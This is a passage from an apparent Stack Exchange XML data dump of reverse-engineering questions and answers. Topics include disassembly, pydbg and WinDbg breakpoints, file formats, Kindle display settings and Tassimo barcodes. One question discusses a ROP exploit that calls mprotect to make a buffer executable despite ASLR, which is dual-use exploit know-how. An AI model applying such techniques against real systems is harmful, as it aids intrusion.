$0x1,-0x8(%ebp)&#xA;0x080485fa &amp;lt;countPairsUpTo+73&amp;gt;: mov    0x8(%ebp),%eax&#xA;0x080485fd &amp;lt;countPairsUpTo+76&amp;gt;: cmp    -0x8(%ebp),%eax&#xA;0x08048600 &amp;lt;countPairsUpTo+79&amp;gt;: ja     0x80485cc &amp;lt;countPairsUpTo+27&amp;gt;&#xA;0x08048602 &amp;lt;countPairsUpTo+81&amp;gt;: mov    -0x4(%ebp),%eax&#xA;0x08048605 &amp;lt;countPairsUpTo+84&amp;gt;: leave  &#xA;0x08048606 &amp;lt;countPairsUpTo+85&amp;gt;: ret    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Optimized&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x08048570 &amp;lt;countPairsUpTo+0&amp;gt;:  push   %ebp&#xA;0x08048571 &amp;lt;countPairsUpTo+1&amp;gt;:  mov    %esp,%ebp&#xA;0x08048573 &amp;lt;countPairsUpTo+3&amp;gt;:  push   %edi&#xA;0x08048574 &amp;lt;countPairsUpTo+4&amp;gt;:  push   %esi&#xA;0x08048575 &amp;lt;countPairsUpTo+5&amp;gt;:  push   %ebx&#xA;0x08048576 &amp;lt;countPairsUpTo+6&amp;gt;:  call   0x8048418 &amp;lt;mcount@plt&amp;gt;&#xA;0x0804857b &amp;lt;countPairsUpTo+11&amp;gt;: mov    0xc(%ebp),%ebx&#xA;0x0804857e &amp;lt;countPairsUpTo+14&amp;gt;: mov    0x10(%ebp),%esi&#xA;0x08048581 &amp;lt;countPairsUpTo+17&amp;gt;: mov    0x8(%ebp),%ecx&#xA;0x08048584 &amp;lt;countPairsUpTo+20&amp;gt;: mov    $0x0,%edi&#xA;0x08048589 &amp;lt;countPairsUpTo+25&amp;gt;: test   %ecx,%ecx&#xA;0x0804858b &amp;lt;countPairsUpTo+27&amp;gt;: je     0x80485b2 &amp;lt;countPairsUpTo+66&amp;gt;&#xA;0x0804858d &amp;lt;countPairsUpTo+29&amp;gt;: mov    $0x0,%edi&#xA;0x08048592 &amp;lt;countPairsUpTo+34&amp;gt;: mov    $0x0,%edx&#xA;0x08048597 &amp;lt;countPairsUpTo+39&amp;gt;: cmp    %esi,(%ebx,%edx,4)&#xA;0x0804859a &amp;lt;countPairsUpTo+42&amp;gt;: jne    0x80485ab &amp;lt;countPairsUpTo+59&amp;gt;&#xA;0x0804859c &amp;lt;countPairsUpTo+44&amp;gt;: mov    0x14(%ebp),%eax&#xA;0x0804859f &amp;lt;countPairsUpTo+47&amp;gt;: cmp    %eax,0x8(%ebx,%edx,4)&#xA;0x080485a3 &amp;lt;countPairsUpTo+51&amp;gt;: sete   %al&#xA;0x080485a6 &amp;lt;countPairsUpTo+54&amp;gt;: movzbl %al,%eax&#xA;0x080485a9 &amp;lt;countPairsUpTo+57&amp;gt;: add    %eax,%edi&#xA;0x080485ab &amp;lt;countPairsUpTo+59&amp;gt;: add    $0x1,%edx&#xA;0x080485ae &amp;lt;countPairsUpTo+62&amp;gt;: cmp    %ecx,%edx&#xA;0x080485b0 &amp;lt;countPairsUpTo+64&amp;gt;: jne    0x8048597 &amp;lt;countPairsUpTo+39&amp;gt;&#xA;0x080485b2 &amp;lt;countPairsUpTo+66&amp;gt;: mov    %edi,%eax&#xA;0x080485b4 &amp;lt;countPairsUpTo+68&amp;gt;: pop    %ebx&#xA;0x080485b5 &amp;lt;countPairsUpTo+69&amp;gt;: pop    %esi&#xA;0x080485b6 &amp;lt;countPairsUpTo+70&amp;gt;: pop    %edi&#xA;0x080485b7 &amp;lt;countPairsUpTo+71&amp;gt;: pop    %ebp&#xA;0x080485b8 &amp;lt;countPairsUpTo+72&amp;gt;: ret    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4291" LastEditorUserId="53" LastEditDate="2014-04-03T07:48:29.387" LastActivityDate="2014-06-11T07:00:39.117" Title="Assembly Code - GCC optimized vs not" Tags="|disassembly|assembly|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4012" PostTypeId="2" ParentId="4010" CreationDate="2014-04-03T04:31:26.170" Score="4" Body="&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat memaccess.py&#xA;from pydbg import *&#xA;from pydbg.defines import *&#xA;&#xA;def handler_breakpoint (pydbg):&#xA;   if pydbg.first_breakpoint:&#xA;      return DBG_CONTINUE&#xA;&#xA;   context = dbg.get_thread_context(dbg.h_thread)&#xA;   print &quot;eip = %08x&quot; % context.Eip&#xA;   print &quot;edi = %08x&quot; % context.Edi&#xA;   return DBG_CONTINUE&#xA;&#xA;dbg = pydbg()&#xA;dbg.set_callback(EXCEPTION_BREAKPOINT, handler_breakpoint)&#xA;dbg.load(&quot;c:\\windows\\system32\\calc.exe&quot;)&#xA;dbg.bp_set(0x101248a)&#xA;dbg.resume_all_threads()&#xA;pydbg.debug_event_loop(dbg)&#xA;&#xA;:\&amp;gt;python memaccess.py&#xA;eip = 0101248a&#xA;edi = 7c80b741&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;confirming with windbg &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;:&gt;cdb -c &quot;bp 0x101248a;g;r Edi;q&quot; calc&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; cdb: Reading initial command 'bp 0x101248a;g;r Edi;q'&#xA;&#xA;Breakpoint 0 hit&#xA;edi=7c80b741&#xA;quit:&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-04-03T04:31:26.170" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4013" PostTypeId="2" ParentId="4011" CreationDate="2014-04-03T07:23:37.640" Score="5" Body="&lt;p&gt;According to gcc manual, &lt;code&gt;-O1&lt;/code&gt; that you mentioned in comments means turning on the following flags: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-fauto-inc-dec -fcprop-registers -fdce -fdefer-pop &#xA;-fdelayed-branch -fdse -fguess-branch-probability &#xA;-fif-conversion2 -fif-conversion -finline-small-functions &#xA;-fipa-pure-const -fipa-reference -fmerge-constants &#xA;-fsplit-wide-types -ftree-builtin-call-dce -ftree-ccp &#xA;-ftree-ch -ftree-copyrename -ftree-dce -ftree-dominator-opts &#xA;-ftree-dse -ftree-fre -ftree-sra -ftree-ter -funit-at-a-time&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read more about these flags at &lt;a href=&quot;http://linux.die.net/man/1/gcc&quot; rel=&quot;nofollow&quot;&gt;gcc man page&lt;/a&gt;.&#xA;I would also recommend (If you didn't do that yet) to read &lt;a href=&quot;http://en.wikipedia.org/wiki/Dragon_Book&quot; rel=&quot;nofollow&quot;&gt;Aho's Dragon books&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="53" LastEditDate="2014-06-10T21:08:47.707" LastActivityDate="2014-06-10T21:08:47.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4014" PostTypeId="1" CreationDate="2014-04-03T23:58:46.170" Score="1" ViewCount="788" Body="&lt;p&gt;Is anyone aware of any documentation (official or reverse-engineered) on the Windows Media Player library / database &lt;code&gt;.wmdb&lt;/code&gt; format?  (Specifically WMP 12).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file resides at &lt;code&gt;C:\Users\[username]\AppData\Local\Microsoft\Media Player\CurrentDatabase_[nnn].wmdb&lt;/code&gt;. It's a binary file, seemingly uncompressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm willing to work on this, but don't want to waste my time if it's already been done!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Research:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Neither the &lt;a href=&quot;http://wiki.multimedia.cx/index.php?title=Windows_Media_Player&quot; rel=&quot;nofollow&quot;&gt;Mulimedia.cx&lt;/a&gt; wiki page, nor the &lt;a href=&quot;https://bitbucket.org/haypo/hachoir/wiki/hachoir-parser&quot; rel=&quot;nofollow&quot;&gt;hachoir&lt;/a&gt; utility seem to have any information about it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://simplecarver.wordpress.com/2011/12/28/windows-media-player-database-currentdatabase_372-wmdb-files/&quot; rel=&quot;nofollow&quot;&gt;This blog post&lt;/a&gt; links to a product called &lt;a href=&quot;http://www.simplecarver.com/tool.php?toolname=WMDB%20Extractor%20for%20CurrentDatabase_372&quot; rel=&quot;nofollow&quot;&gt;Simple Carver&lt;/a&gt;, a paid forensics utility, that claims to support the format.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://zunerama.com/forum/index.php?topic=4487.15&quot; rel=&quot;nofollow&quot;&gt;This forum post&lt;/a&gt; indicates that WMP 11 came with a &lt;code&gt;wmdbexport.exe&lt;/code&gt; utility, but this doesn't exist in WMP 12.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Specifically, there are a few tools/scripts I've wanted to write that would need to directly manipulate this database.&lt;/p&gt;&#xA;" OwnerUserId="1655" LastEditorUserId="1655" LastEditDate="2014-04-04T00:16:08.153" LastActivityDate="2020-10-12T07:24:01.860" Title="Windows Media Player - library format" Tags="|file-format|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4015" PostTypeId="2" ParentId="3982" CreationDate="2014-04-04T00:11:09.027" Score="1" Body="&lt;p&gt;the start routine is called from &lt;code&gt;pthread_start_thread()&lt;/code&gt; by an &lt;code&gt;indirect call&lt;/code&gt; like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call [reg32 + const]  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can disassemble the function and confirm the register used and the constant used&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in my &lt;code&gt;dsl vm (very very old )&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i see &lt;code&gt;call [esi+0x8c]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb -q ./someexe&#xA;break main&#xA;r&#xA;break pthread_start_thread&#xA;c&#xA;info symbol *( *(unsigned long *)($ebp +8) + 0x8c ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;provides me the symbol thrdfunc () for the following test program&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;pthread.h&amp;gt;&#xA;void *thrdfunc (void * foo) {&#xA;pthread_exit(0);&#xA;}&#xA;int main (void) {&#xA;pthread_t thread;&#xA;pthread_create(&amp;amp;thread,0,thrdfunc,0);&#xA;return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and linked with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -pthread -o pthreadtest pthreadtext.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-04-04T00:11:09.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4016" PostTypeId="1" CreationDate="2014-04-04T08:03:55.673" Score="2" ViewCount="818" Body="&lt;p&gt;It is common to set a breakpoint on &lt;code&gt;oleaut32!DispCallFunc&lt;/code&gt; to catch the function call to the ActiveX component and it worked for me until recently. I tried to reverse engineer a ActiveX component I got from some web file storage site and IE does not stop on &lt;code&gt;DispCallFunc&lt;/code&gt;. Any other tricks to catch function call to ActiveX ?&lt;/p&gt;&#xA;" OwnerUserId="3461" LastEditorUserId="53" LastEditDate="2014-04-04T23:37:29.860" LastActivityDate="2014-04-04T23:37:29.860" Title="Trouble with ActiveX Reverseengineering (DispCallFunc Trick does not work)" Tags="|debugging|com|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4017" PostTypeId="2" ParentId="4016" CreationDate="2014-04-04T15:39:14.770" Score="2" Body="&lt;p&gt;You can use the &lt;code&gt;!activex&lt;/code&gt; command in Immunity debugger to list and set breakpoints.&lt;/p&gt;&#xA;" OwnerUserId="3469" LastEditorUserId="53" LastEditDate="2014-04-04T23:36:17.157" LastActivityDate="2014-04-04T23:36:17.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4018" PostTypeId="2" ParentId="3094" CreationDate="2014-04-04T15:46:21.297" Score="2" Body="&lt;p&gt;Objective-C works a bit different than most languages. You have selectors in the &lt;code&gt;_ObjC&lt;/code&gt; section which are used as arguments to &lt;code&gt;obj_msgSend&lt;/code&gt; (which is how just about everything is invoked). There are no direct calls between functions. I suggest starting off with the Cameron Hotchkies &lt;a href=&quot;http://dvlabs.tippingpoint.com/pub/chotchkies/Under%20the%20iHood%20-%20REcon%202008.pdf&quot; rel=&quot;nofollow&quot;&gt;slides&lt;/a&gt; on this topic from REcon 2008.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="53" LastEditDate="2014-04-17T06:55:37.537" LastActivityDate="2014-04-17T06:55:37.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4019" PostTypeId="1" AcceptedAnswerId="4020" CreationDate="2014-04-04T19:57:12.843" Score="2" ViewCount="2845" Body="&lt;p&gt;My issue is all about setting the breakpoint on x64 Windbg. &#xA;For x86 to combine IDA and Windbg analysis nothing is required. Just copy and paste the IDA address value and it works just fine.&#xA;For instance, in x86 I have &lt;code&gt;sub_401000&lt;/code&gt;, so, the corresponding breakpoint is set by &lt;code&gt;bp 401000&lt;/code&gt;&lt;br&gt;&#xA;In x64 I have address &lt;code&gt;sub_140001000&lt;/code&gt;, so, I'm trying to set as follows &lt;code&gt;bp 140001000&lt;/code&gt; and get no result at all. Application won't reach my breakpoint. That's why, I've just set &lt;code&gt;bp 1401172F1&lt;/code&gt; that reaches the address of interest for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I've faced with error &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unable to insert breakpoint 0 at 00000001`401172f1, Win32 error 0n998&#xA;The breakpoint was set with BP.  If you want breakpoints&#xA;to track module load/unload state you must use BU.&#xA;bp0 at 00000001`401172f1 failed&#xA;WaitForEvent failed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All these answers make sense, but setting breakpoint for this rva leads to error for some reason. Maybe I should try something else?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; lmi&#xA;start             end                 module name            &#xA;00000000`77570000 00000000`77719000   ntdll      (pdb symbols)          C:\Windows\SYSTEM32\ntdll.dll&#xA;00000000`77740000 00000000`77743000   normaliz   (deferred)             &#xA;00000001`3fd90000 00000001`402e0000   module_of_interest   (no symbols)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4305" LastEditorUserId="4305" LastEditDate="2014-04-05T10:54:16.687" LastActivityDate="2014-04-05T10:54:16.687" Title="Windbg x64 setting breakpoint" Tags="|ida|dynamic-analysis|windbg|x86-64|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4020" PostTypeId="2" ParentId="4019" CreationDate="2014-04-04T23:22:21.557" Score="2" Body="&lt;p&gt;The error is due to the specified address belonging to an unmapped page. Normally, you would follow the advice in the debugger and use '&lt;code&gt;bu&lt;/code&gt;', which monitors new memory maps and adds the breakpoint when that page is mapped (soft breakpoints write opcodes to the memory location).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, it appears that you are trying to break on the main executable, which should be loaded before you are given interactive access in the debugger. It's likely that ASLR has relocated your main image. You can use the '&lt;code&gt;lm&lt;/code&gt;' command or access the loaded modules dialog through the toolbar to observe the base address of the module you are interested in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The preferred base address from the PE header is what IDA uses when loading the image. Subtract the base address shown in IDA (140001000) from your target address (00000001401172f1) to get the RVA (1162f1), and add that to the base address indicated by the module list in Windbg. &lt;/p&gt;&#xA;" OwnerUserId="4306" LastEditorUserId="53" LastEditDate="2014-04-04T23:38:49.573" LastActivityDate="2014-04-04T23:38:49.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4021" PostTypeId="1" AcceptedAnswerId="4031" CreationDate="2014-04-05T05:06:24.430" Score="3" ViewCount="271" Body="&lt;p&gt;I was trying out a ROP exploit -- I'm trying to make an mprotect system call using ROP(not a libc call), to try and make the buffer executable. I tried stracing the server process and ran the exploit, only to see that results in an error as follows :- &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mprotect(0xbffdda10, 65536, PROT_READ|PROT_WRITE|PROT_EXEC) = -1 EINVAL(Invalid argument)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Later on, I tried a different address &lt;code&gt;0x08048000&lt;/code&gt; and I could see that the call worked(strace output and /proc/pid/maps confirms this). &lt;code&gt;Given a buffer address how could I guess/find the correct page address that I could use to make a call to mprotect.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I figured out the reason why this happens. ASLR is enabled and the page that starts at 0x08048000 does not change addresses. However, the page that corresponds to the buffer changes addresses.&#xA;The buffer address can be leaked -- so I tried checking if the difference between the start of the page and the buffer address remains constant, it does not.&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2014-04-07T19:49:25.853" Title="Calculating the page address a buffer belongs to" Tags="|linux|exploit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4022" PostTypeId="2" ParentId="4019" CreationDate="2014-04-05T05:31:14.450" Score="2" Body="&lt;p&gt;confirm if addres is accessible and correct &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;u 0x1```401172f1 &#xA;or&#xA;db 0x1`401172f1 `&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then set a bp 0x1 &lt;code&gt;``401172f1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;preferably sign/zero extend the address using &lt;code&gt;backticks&lt;/code&gt; when you are not using a symbol to set breakpoints &lt;/p&gt;&#xA;&#xA;&lt;p&gt;deferred breakpoints  &lt;code&gt;(Bu breakpoints)&lt;/code&gt; are more versatile than bp breakpoints as they are tied to symbol and not to specific address and thus are not influenced by aslr / loading / unloading of images&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2014-04-05T05:31:14.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4024" PostTypeId="2" ParentId="2143" CreationDate="2014-04-05T09:09:07.237" Score="5" Body="&lt;p&gt;Looking at the kernel source for the kindle touch (mx50_yoshi.c, see &lt;a href=&quot;http://www.amazon.com/gp/help/customer/display.html?nodeId=200203720&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) it seems to me that the epd configuration, init sequence and so on is all there.&lt;/p&gt;&#xA;&lt;p&gt;I only checked for the touch cause the touch eink seems to be currently the cheapest. (ED060SCG)&lt;/p&gt;&#xA;&lt;h1&gt;Code&lt;/h1&gt;&#xA;&lt;pre&gt;&lt;code&gt;static struct fb_videomode e60_v220_mode = {&#xA;.name = &amp;quot;E60_V220&amp;quot;,&#xA;.refresh = 85,&#xA;.xres = 800,&#xA;#ifdef CONFIG_FRAMEBUFFER_CONSOLE&#xA;.yres = 800,&#xA;#else&#xA;.yres = 600,&#xA;#endif&#xA;.pixclock = 32000000,&#xA;.left_margin = 8,&#xA;.right_margin = 166,&#xA;.upper_margin = 4,&#xA;.lower_margin = 26,&#xA;.hsync_len = 20,&#xA;.vsync_len = 4,&#xA;.sync = 0,&#xA;.vmode = FB_VMODE_NONINTERLACED,&#xA;.flag = 0,&#xA;};&#xA;&#xA;static struct fb_videomode e60_v220_wj_mode = {&#xA;  .name = &amp;quot;E60_V220_WJ&amp;quot;,&#xA;  .refresh = 85,&#xA;  .xres = 800,&#xA;#ifdef CONFIG_FRAMEBUFFER_CONSOLE&#xA;.yres = 800,&#xA;#else&#xA;.yres = 600,&#xA;#endif&#xA;  .pixclock = 32000000,&#xA;  .left_margin = 17,&#xA;  .right_margin = 172,&#xA;  .upper_margin = 4,&#xA;  .lower_margin = 18,&#xA;  .hsync_len = 15,&#xA;  .vsync_len = 4,&#xA;  .sync = 0,&#xA;  .vmode = FB_VMODE_NONINTERLACED,&#xA;  .flag = 0,&#xA;};&#xA;&#xA;static struct mxc_epdc_fb_mode panel_modes[] = {&#xA;{&#xA;    &amp;amp;e60_v220_wj_mode,&#xA;    4,  /* vscan_holdoff */&#xA;    10, /* sdoed_width */&#xA;    20, /* sdoed_delay */&#xA;    10, /* sdoez_width */&#xA;    20, /* sdoez_delay */&#xA;    425,    /* gdclk_hp_offs */&#xA;    20, /* gdsp_offs */&#xA;    0,  /* gdoe_offs */&#xA;    17, /* gdclk_offs */&#xA;    1,  /* num_ce */&#xA;},&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm also thinking about using an imx6 duallite to drive such a panel.&lt;/p&gt;&#xA;" OwnerUserId="4308" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-04-05T14:09:48.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4025" PostTypeId="2" ParentId="2942" CreationDate="2014-04-05T17:16:38.253" Score="1" Body="&lt;p&gt;If the program does not use anti-debugging techniques, it is possible to debug multithreaded applications, so you can run the code step by step. Surely you can help &quot;Hit trace&quot;, in a nutshell sets INT3 breakpoints on all branches that were not traced so far. You can see this &lt;a href=&quot;https://www.youtube.com/watch?v=jtteWZhD8l8&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=jtteWZhD8l8&lt;/a&gt;, it use &lt;a href=&quot;http://www.openrce.org/downloads/details/188/OllySnake&quot; rel=&quot;nofollow&quot;&gt;OllySnake&lt;/a&gt; plugin&lt;/p&gt;&#xA;" OwnerUserId="4275" LastEditorUserId="4275" LastEditDate="2014-04-05T19:59:53.327" LastActivityDate="2014-04-05T19:59:53.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4027" PostTypeId="2" ParentId="2570" CreationDate="2014-04-06T06:46:44.783" Score="1" Body="&lt;p&gt;If the data is ever assigned to a register then you can try OllyStepNSearch to locate it. You can find it and more info here: &lt;a href=&quot;http://blog.didierstevens.com/programs/ollystepnsearch/&quot; rel=&quot;nofollow&quot;&gt;http://blog.didierstevens.com/programs/ollystepnsearch/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4312" LastActivityDate="2014-04-06T06:46:44.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4028" PostTypeId="2" ParentId="3919" CreationDate="2014-04-06T17:50:30.353" Score="6" Body="&lt;p&gt;&lt;strong&gt;Costa&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Costa Americano&lt;/strong&gt; (220ml) 297615 (single T Disc)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Costa Cappuccino&lt;/strong&gt; (215ml)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Costa Espresso for Cappuccino &amp;amp; Latte&lt;/strong&gt; 022095&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Creamer (S) for Cappuccino&lt;/strong&gt; 061827&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Costa Caramel Latte&lt;/strong&gt; (320ml)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Costa Espresso for Cappuccino &amp;amp; Latte&lt;/strong&gt; 022095&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Creamer (L) for Caramel Latte&lt;/strong&gt; 637350&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Cadbury&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Cadbury Hot Chocolate&lt;/strong&gt; (265ml)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Cadbury Hot Chocolate&lt;/strong&gt; 066655&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Creamer (S) for Cadbury&lt;/strong&gt; 061827 &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Gevalia&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Gevalia Kaffe Espresso&lt;/strong&gt; 849838 (Professional T-Disc apparently not compatible with home brewers)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Gevalia Kaffe Espresso&lt;/strong&gt; 594912&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Gevalia Kaffe Caramel Espresso&lt;/strong&gt; (60ml) 674270&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Gevalia Kaffe Signature Blend&lt;/strong&gt; 642262&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Maxwell House&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Maxwell House Morning&lt;/strong&gt; 648035 (Large 12floz serving 355ml?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Starbucks&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Starbucks Espresso Roast&lt;/strong&gt; 596831&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Carte Noir&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Carte Noire Cappuccino&lt;/strong&gt; (190ml)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Carte Noire Expresso Intense&lt;/strong&gt; 061780&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Creamer (S) for Cappuccino&lt;/strong&gt; 061827&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Carte Noire Petit Dejeuner Classic&lt;/strong&gt; (215ml) 297615 (single T Disc) &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Carte Noire Espresso Classic&lt;/strong&gt; (60ml) 061780 (single T Disc)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second Cup&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Second Cup Chocolate Syrup&lt;/strong&gt; (195ml) 676458&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Second Cup Espresso Forte&lt;/strong&gt; (65ml) 594592&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Nabob&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Nabob Breakfast Du Matin&lt;/strong&gt; 683050&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Milka&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Milka Hot Chocolate&lt;/strong&gt; (245ml)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Milka Chocolate&lt;/strong&gt; 066655&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Creamer (S) for Milka, Marabou &amp;amp; Freia&lt;/strong&gt; 061827&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tassimo Brand&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Creamer for Cappuccino&lt;/strong&gt; (215ml) 634793&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Creamer for Latte&lt;/strong&gt; (250ml) 636070 &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Creamer for Sweet Latte&lt;/strong&gt; (200ml) 634793&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Others&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;(Twinnings?) (Creamer / Milk) for Chai Latte&lt;/strong&gt; 674478&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Twinings English Breakfast&lt;/strong&gt; Tea (195ml) 032872 (single T Disc) 